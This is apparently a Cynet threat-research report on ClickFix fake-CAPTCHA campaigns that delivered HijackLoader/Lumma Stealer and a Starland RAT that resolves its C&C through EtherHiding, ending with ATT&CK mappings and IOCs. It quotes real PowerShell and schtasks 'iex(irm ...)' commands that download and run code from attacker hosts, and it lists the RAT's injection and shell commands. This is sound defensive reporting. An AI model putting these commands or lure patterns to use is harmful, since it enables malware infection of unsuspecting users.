1H 2026 Examination of Cyber Hostility and Operations

ClickFix Reloaded: From Mass HijackLoader Infections to Stealth EtherHiding RATs

Executive Summary 

In recent years, ClickFix attacks have become a staple in social engineering. This rising tactic was so successful that it evolved into a new attack called ConsentFix, which allows attackers to steal cloud account tokens. As expected, the evolution of this attack continues to adapt as notoriety and detections increase from defense teams.  

Cynet observed several threats that abused the wave of ClickFix attacks, including HijackLoader and Starland RAT, which uses Etherhiding for C&C URL retrieval. The HijackLoader campaign was seen in high volume both in internal telemetry and in public OSINT. As is the case with HijackLoader, it abused malicious PowerShell commands from the ClickFix attack that loaded an MSI file containing the loader itself. A new version of Starland RAT was installed via a ClickFix attack that created a scheduled task to run a malicious PowerShell command, which executed malicious Python bytecode that connects to its C&C for further instructions. 

Here, we detail two such campaigns Cynet caught in the wild — a widescale HijackLoader operation hiding behind trojanized MSI installers, and a quieter Starland RAT campaign that pulls its C&C address straight from the Ethereum blockchain. We learned that even a technique as simple as copy-and-paste is being paired with increasingly sophisticated evasion, from legitimate-binary sideloading to blockchain-based C&C resolution, and that defenders need to watch ClickFix well beyond the malware use case. 

The Shift in Social Engineering: Silent Infections to Required User Interaction 

It was only about ten years ago that vulnerabilities were being exploited left and right in Internet Explorer, Chrome, and Adobe Flash. Exploit kits like Rig and Angler EK were king – they were responsible for a significant portion of malware infections at the time. What made them so successful was their ability to detect the browser or Flash version the victim had, run the corresponding exploit code, and successfully execute malware on the victim’s machine without the victim ever downloading or double clicking on a payload. These drive-by attacks were highly successful because they required minimal user intervention – a very desirable trait for an infection vector. 

For a while, it looked like social engineering was becoming a thing of the past and that browser exploits were the future of initial access. Attackers no longer needed to trick people into anything; exploit kits could automatically do their bidding through malicious JavaScript embedded in compromised websites. However, as this model of large-scale, silent exploitation became increasingly unsustainable, the software ecosystem began to respond. Browser vendors hardened their software, Adobe announced the end of life for Flash, and exploit kits were left increasingly irrelevant in the years that followed. The threat actors’ dream of infecting victims automatically came to an end. As a result, social engineering continued to play a central role in the cyber threat landscape because humans are still the weakest link. 

As browser-based exploitation declined, attackers increasingly returned to techniques that depended on user interaction rather than silent compromise. Office macros later made a temporary comeback as attackers found creative ways to trick users into enabling them. However, Microsoft eventually made an important decision in 2022 that caused a major shift in the threat landscape by disabling macros by default for Office documents downloaded from the internet. Macros became less prevalent once again as attackers shifted to other delivery methods, including LNK files, ISO files used to bypass Mark of the Web (MotW), and even the old double-extension trick, making users think they were double-clicking a .docx file when they were actually executing a .exe file. These techniques still relied on deception, often by creating a sense of urgency around something like an unexpected invoice or bank transfer. But the broader pattern was clear: when technical avenues narrowed, attackers kept finding new ways to make the user perform the critical step. What if that step could be framed not as opening a file, but as fixing a technical issue? 

The ClickFix Takeover 

Over the last several years, a new technique dubbed ClickFix has rapidly emerged in the threat landscape. In a report released last year, Microsoft claimed that 47% of the initial access methods it observed were ClickFix, putting it ahead of veteran methods like phishing. The premise is simple: people are constantly approving CAPTCHAs on different websites, especially in the age of AI, where bots are everywhere. So why not make a fake CAPTCHA that copies a malicious command to the user’s clipboard and tells the user to press a few keys? It requires little effort from both the attacker and the victim, which is probably why it has become so successful. ClickFix campaigns start fileless and appear to be actual user activity. In fact, recent Cynet research demonstrated how ClickFix-style attacks can lead to hands-on-keyboard access in a matter of minutes, highlighting just how quickly these seemingly simple interactions can escalate into full compromises. 

This same copy-paste playbook proved so effective that attackers quickly began applying it beyond traditional malware delivery. Instead of using the fake “fix” to run a payload, they adapted the technique to hijack cloud accounts. That is where ConsentFix, also known as AuthCodeFix, comes into the picture. These attacks often begin with SEO poisoning or malvertising that leads the user to a landing page asking them to authenticate to their Microsoft account. When the user clicks the authentication button, a real Microsoft login page opens, making the flow appear legitimate. Eventually, however, the authorization flow fails, and that is where the “Fix” comes in: the user is instructed to copy the failed redirect URL, often pointing to a non-existent localhost address, back into the malicious website. That URL contains an OAuth authorization code that the attackers can exchange for tokens and use to access the victim’s Microsoft account. From there, they can enumerate the environment, compromise corporate email, and carry out additional malicious activity without ever dropping malware on the machine. 

While ConsentFix has yet to reach the heights of ClickFix, there is already a toolkit to host the attack available on the Russian language hacker forum XSS. The user posted in detail about ConsentFix attacks, along with a toolkit that allows attackers to easily create sites to convince users to pass along the authentication URL to the attacker.   

Figure 1– Timeline of ClickFix milestones 

Most ClickFix landing pages today lean on that same need for familiarity, posing as Cloudflare or reCAPTCHA pages to appear legitimate to unsuspecting victims. The following examples show common ClickFix page templates seen in recent campaigns. 

Figure 2 – Example of a reCAPTCHA ClickFix site 

Figure 3 – Example of a Cloudflare ClickFix site 

At Cynet, we have come across several ClickFix campaigns attempting to infiltrate our customers. As the volume and diversity of these campaigns continue to increase, ClickFix has become an important area of focus for understanding the technique and helping protect people from falling victim to it. In this article, we cover two campaigns we observed: a HijackLoader campaign that surged in volume, and a stealthier ClickFix campaign that installed a Python RAT. 

  

HijackLoader Deploys Lumma Stealer From Malicious MSIs 

In April, Cynet detected a HijackLoader ClickFix campaign that deployed Lumma Stealer via malicious MSI files. The MSIs contained legitimate, benign executables – such as ESET’s free tool SysInspector – hiding the malware in a sideloaded DLL that the signed ESET binary would load. The campaign was observed using multiple variations of similar ClickFix commands that used lightweight PowerShell loaders to begin the next stages. In some variants, the attackers added fake comments in the commands to make users believe they were following the instructions of a legitimate CAPTCHA.  

  

Initial Access 

As with other ClickFix attacks, this attack chain began when the user was presented with a fraudulent webpage instructing them to run a command on their machine to fix an error. Based on the RAY-ID in the command, the page was likely masquerading as Cloudflare to make the request appear legitimate to an unsuspecting user.  

The user then opened the Run window and entered the provided command. The following PowerShell command was seen across multiple customers in April: 

iex(irm 85[.]11[.]161[.]198:9191 -UseBasicParsing) # RAY-ID:735428-SGTP5; Anti-bot autodetection 

Although we don’t have the original site that served this specific infection, we found other ClickFix sites serving a similar command using overlapping infrastructure and serving a similar MSI file: 

Figure 4 – ClickFix site from the HijackLoader campaign masquerading as FACEIT and Cloudflare 

Execution 

The above command downloaded a long PowerShell script from hXXp[://]85[.]11[.]161[.]198:9191/ using the Invoke-RestMethod cmdlet and executed it in memory using Invoke-Expression. When executed, the next stage wrote additional Base64-encoded PowerShell code to a PS1 file and then ran it. This was the last PowerShell stage in the infection chain. Its job was to download a file from the C&C server, which, according to the code, may have been either a .exe file or a .msi file. In this specific infection chain, we observed an MSI file being downloaded. 

The MSI file was installed quietly, with a /qn flag passed to ensure no UI was shown, and immediately ran the installed software. In our case, we observed the MSI file installing ESET’s tool SysInspector as Celerity-Monitor.exe, alongside a malicious DLL called sciter-x.dll that Celerity-Monitor.exe loaded. 

Defense Evasion 

The downloaded script contained a lot of benign junk code to hide its real intentions. However, this junk code was extremely repetitive, making it easy to spot the real code, which was encoded as a Base64 string in a variable called $data. Unlike most PowerShell stagers, including the ones used in the previous steps of this infection chain, this script used a COM object to download the MSI file. In many attacks that use MSI files, attackers can abuse a feature in msiexec.exe that allows them to pass a URL to a remote MSI file directly. Here, however, the attackers chose to download the file themselves using a less common method in PowerShell, perhaps to evade detection. 

Figure 5 – PowerShell script that downloads the MSI file via COM 

The sciter-x.dll file appeared to be originally a legitimate DLL that was patched to read a file called filter-config.tmp. The DLL decrypted this file, read the name of a legitimate DLL to load, which in our case was tapisrv.dll, loaded that DLL into memory, overwrote its memory with shellcode that was decrypted from the file, and passed execution to it. This technique can evade some EDR detections by executing shellcode within the memory space of a legitimate module rather than allocating new private memory regions. 

Figure 6 – Main files installed by the HijackLoader MSI 

Command and Control 

Once the shellcode ran, a few more executables were dropped to disk and executed, including AppData\Roaming\winrepository_v2_0\Crisp.exe and AppData\Local\Temp\EXEMessenger_net40.exe. After execution, EXEMessenger_net40.exe attempted to connect back to the IP address 91[.]84[.]123[.]231, but at the time of analysis, the server was no longer responding. It also repeatedly made HTTP HEAD requests to http://example.com, perhaps to help the real C&C traffic blend in with benign traffic. 

Starland RAT – New Infection Chain and New Commands 

Unlike the previous campaign, which appeared to be large and had a high volume of samples in the wild, this campaign had a much lower profile and was observed in only one customer environment, ultimately installing Starland RAT on the victim’s machine. The threat actor tricked the user into running a command that installed a scheduled task, which then downloaded and installed a Python-based implant on the victim’s machine. The malware retrieved its actual C&C URL from the Ethereum blockchain using a technique called “EtherHiding”. Cynet originally observed this activity back in a customer’s environment in May 2026, prior to Cisco’s publication. The version of Starland RAT we observed appears to include additional commands not seen in Cisco’s sample. 

Initial Access 

Based on our telemetry, the attack began with a command entered through the Windows Run window. We initially observed it via RunMRU registry telemetry, which records commands recently executed from Run under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. In this case, the Run command did not launch the PowerShell downloader as a direct child process of explorer.exe. Instead, it created a scheduled task that ran every minute and executed the PowerShell downloader from there, likely helping the attackers avoid detections focused on PowerShell spawned directly from explorer.exe. This was the observed Run command: 

schtasks /create /tr "powershell -C \"iex(irm 39e552145a32ab0a[.]fun/88c9b4d0fd9a9d0033d3757cde345302)\"" /sc minute /mo 1 /tn                                "Enter"                         

Execution 

Once the scheduled task ran, it executed a PS1 file from the AppData Local Temp directory. This script then ran a Base64-encoded PowerShell command that attempted to download the next stage. As the final PowerShell stage, it downloaded a ZIP file containing a Python project, along with its own Python interpreter and a .pyc file named LICENSE.txt. 

Defense Evasion 

The PowerShell stages to download the ZIP used relatively basic forms of obfuscation, such as reversed strings and string concatenation to hide suspicious command fragments. The final payload, LICENSE.txt, was a highly obfuscated PYC file that used heavy string and name obfuscation. We were able to decompile the bytecode using PyLingual and ran additional scripts to decrypt strings that were XOR-encrypted with several different keys. Analysis of the recovered source code revealed very interesting functionality: the payload appeared to be a custom RAT that used a clever technique called “EtherHiding”, where the malware retrieved its C&C URL from the Ethereum blockchain. By storing the real C&C location this way, the attackers made it harder to identify the active server after the fact. The RAT did this by using the eth_call method through Polygon RPC endpoints to retrieve the hidden payload URL. 

Figure 7 – LICENSE.txt script connecting to C&C and executing commands 

Command and Control 

After resolving the hidden C&C URL, the RAT started up and collected information about the current environment before sending it back to the C&C, where it awaited further instructions. The initial information collected was put into a JSON with the following format: 

 1. { 

 2.     "build_id": "captcha",  

 3.     "payload_version": "5.1",  

 4.     "pc_id": machine_guid,  

 5.     "windows_version": windows_version,  

 6.     "machine_name": machine_name,  

 7.     "username": user_name,  

 8.     "av": av,  

 9.     "domain": domain,  

10.     "can_elevate": not is_admin() and is_limited_token(),  

11.     "screen": screenshot_in_base64 

12. } 

  

This JSON included the machine GUID retrieved from the registry, the Windows version, host name, username, installed AV products, domain, whether the user could elevate privileges, and a Base64-encoded PNG screenshot of the host. After sending this information, the RAT waited for commands. Below is a list of commands the malware accepts, which includes a few additional commands compared to those previously reported by Cisco: 

  

Command Description 
shellexecute Executes command retrieved from C&C 
x32 Inject 32-bit shellcode in dpapimig.exe using standard VirtualAllocEx + WriteProcessMemory + QueueUserAPC 
x32_v2 Inject 32-bit shellcode in prevhost.exe using Early Bird injection with QueueUserAPC 
x32_v3 Inject 32-bit shellcode in efsui.exe using Nt functions + QueueUserAPC 
x32_v4 Inject 32-bit shellcode in systray.exe using VirtualAllocEx + Nt functions for write/protect and QueueUserAPC 
x64 Re-runs 64-bit version of the code with an argument for the version of shellcode injection to use 
x64_2 Re-runs 64-bit version of the code with an argument for the version of shellcode injection to use 
x64_3 Re-runs 64-bit version of the code with an argument for the version of shellcode injection to use 
x64_4 Re-runs 64-bit version of the code with an argument for the version of shellcode injection to use 
download Downloads a file from the C&C. If its an exe, it runs it. If its an MSI, it quietly installs it. If it’s a dll, it uses regsvr32 /s to run it. If it’s a zip, it will unzip it. The files are downloaded to %TMP% 
elevate Tries to run the RAT as administrator by triggering UAC. If it fails, it tries again. 
interactive_start Opens an interactive shell with options for cmd or PowerShell. 
botinfo Collects information about the host via WMI, Windows API, the registry, and other commands. Information includes general system details, disk drives, cloud storage, browser extensions, installed software, and security settings.  
screenshot Grabs a screenshot of the host and saves it to a PNG file. 

  

Persistence and Discovery 

Upon execution, Cynet observed multiple persistence and discovery commands coming from pythonw.exe. First, the malware created an LNK file in the startup directory that ran pythonw.exe with LICENSE.txt. Then, a new scheduled task named `MSIAfterInstall_7861` was created to run LICENSE.txt on login. After establishing multiple methods of persistence, the malware grabbed a screenshot and collected myriad pieces of information from the system, including: 

  1. Installed AV products 
  1. The domain 
  1. Output of systeminfo.exe 
  1. The current user + user information from net user 
  1. System information from Win32_ComputerSystem, Win32_Processor, Win32_OperatingSystem, and Win32_ShadowCopy 
  1. Any information on computer restore points 
  1. Any installed software as listed in the uninstall programs registry list 
  1. Network information (IP and MAC address) 
  1. Firewall profiles and settings 
  1. If EnableLUA is enabled in the registry 
  1. The status of Windows Defender on the machine 

  

Figure 8 – Telemetry of commands executed by LICENSE.txt 

Where Do We Go From Here?  

We have seen how ClickFix has quickly taken over the current threat landscape due to its simplicity and effectiveness. It makes sense, too: people are constantly asked to prove that they are human on the internet. CAPTCHAs have become so commonplace that we often do not stop to think when we see them. These days, CAPTCHAs continue to change and become more difficult to pass as AI-powered bots browse the web at scale. It’s not beyond the realm of possibility that someone might press few keys on the keyboard to get past what they believe to be an annoying speed bump. The fact is that ClickFix is probably here to stay, at least for a while. 

To better defend against ClickFix attacks, we first need to educate the public about them. Phishing education is already well established; many companies use it to train employees to spot phishing attempts before they become costly security incidents. Similarly, training users to recognize abnormal CAPTCHA behavior, such as instructions to run commands on their system, can help prevent these attacks at the human layer. However, defenders should also avoid thinking of ClickFix solely as a malware problem. Techniques such as ConsentFix demonstrate that attackers can apply the same social engineering principles to cloud identity attacks, allowing them to obtain access tokens without ever executing code on the victim’s machine. As organizations continue moving workloads to SaaS and cloud platforms, security teams should prepare for ClickFix-style attacks that target identities just as aggressively as endpoints. 

Appendix 

MITRE ATT&CK Techniques 

HijackLoader 

  • T1204.004 – User Execution: Malicious Copy and Paste 
  • T1218.007 – System Binary Proxy Execution: Msiexec 
  • T1574.001 – Hijack Execution Flow: DLL 
  • T1059.001 – Command and Scripting Interpreter: PowerShell 
  • T1036 – Masquerading 
  • T1071.001 – Application Layer Protocol: Web Protocols 
  • T1140 – Deobfuscate/Decode Files or Information 
  • T1027.016 – Obfuscated Files or Information: Junk Code Insertion 
  • T1027.013 – Obfuscated Files or Information: Encrypted/Encoded File 
  • T1129 – Shared Modules 
  • T1055.001 – Process Injection: Dynamic-link Library Injection 

Starland RAT 

  • T1204.004 – User Execution: Malicious Copy and Paste 
  • T1053.005 – Scheduled Task/Job: Scheduled Task 
  • T1059.001 – Command and Scripting Interpreter: PowerShell 
  • T1027.010 – Obfuscated Files or Information: Command Obfuscation 
  • T1105 – Ingress Tool Transfer 
  • T1059.006 – Command and Scripting Interpreter: Python 
  • T1102.001 – Web Service: Dead Drop Resolver 
  • T1087.001 – Account Discovery: Local Account 
  • T1087.002 – Account Discovery: Domain Account 
  • T1217 – Browser Information Discovery 
  • T1047 – Windows Management Instrumentation 
  • T1082 – System Information Discovery 
  • T1016 – System Network Configuration Discovery 
  • T1033 – System Owner/User Discovery 
  • T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder 
  • T1119 – Automated Collection 
  • T1113 – Screen Capture 
  • T1071.001 – Application Layer Protocol: Web Protocols 
  • T1069.002 – Permission Groups Discovery: Domain Groups 
  • T1518 – Software Discovery 
  • T1518.001 – Software Discovery: Security Software Discovery 
  • T1082 – System Information Discovery 
  • T1012 – Query Registry 

IOCs 

HijackLoader 

Indicator Details 
f045a0cdb188f7bb9b4b10382f7389e297d6476bcf96865692dfe1124fbe4784 Malicious MSI containing Celerity-Monitor.exe and sciter-x.dll  
aa665a125618d9cd2980a4c1353b2117f9a4820781674d7969b0e08025f6b06b Malicious sciter-x.dll 
13a604c6a3347d36bcbfc702e6ac6b2421d4c33ae4f1c0e132439a7294739516 Celerity-Monitor.exe (not malicious) 
c1b15510d114067d5df679f79f383df3a9772dc56a83b5bce7db33da96047fe5 prime-context.lock – Encrypted shellcode 
ba1a689cb69e2a74f84b2e365fda958cd2ac0a33e8c422908a753b0cd746dad8 filter-config.tmp – Encrypted configuration 
c2e62475768c9546efe1da92a55f3bb2a55350eed83241139917aabd1ad25f8a Crisp.exe 
f41bfa204e937824bbc509ec0716df5df62e174b73070d1fd80d3fb67a23b669 EXEMessenger_net40.exe 
hXXp[://]85[.]11[.]161[.]198:9191/ URL of the first stage PowerShell script once the ClickFix command is executed. 
hXXp[://]85[.]239[.]149[.]78:6600/ks3mscqz/dfgsdfgbvbb[.]exe URL of the MSI file 
91[.]84[.]123[.]231:3333 C&C IP Address 

Starland RAT 

Indicator Description 
2b5ae8d145dfd7d2550c91c8b8c3e38ecfbd571f2e89d4ed437c87db89728e4d The ZIP file containing LICENSE.txt 
e82082979dba67d5998a100d7dfb467ac6f45f46b9b455b436689d0af9e69319 LICENSE.txt 
hXXp://39e552145a32ab0a[.]fun/88c9b4d0fd9a9d0033d3757cde345302 First stage download URL 
hXXps[://]ho9894htrg43[.]com/builds/6bd6443f9b1f1e43d255dd4eafa13629 URL for ZIP containing LICENSE.txt 
0x308e9ecc849533a042f13fD77E5C82eC3c62e9f2 Polygon Ethereum Address – used for Etherhiding 

SUBSCRIBE

Briefings in your Inbox

Original CyOps research, monthly threat intel, and early access to webinars. No fluff. Unsubscribe anytime.

Related Posts

BYOVD Attacks: A CyOps Perspective on Gentlemen Ransomware and PoisonX 
110 Million Credentials, One Auction Site, Three New Malware Families: June in Review
FortiBleed: What 74,000 Exposed Firewalls Mean for Defenders 
Supply Chain Games: How TeamPCP's Bounty Contest Led to a GitHub Breach
May 2026 Cyber Threat Intelligence Report: The Underworld Turns on Itself (Again) 

Reading is great. Seeing is better.

See Cynet's unified AI-powered platform in a 30-minute walkthrough tailored to your environment.

Search results for: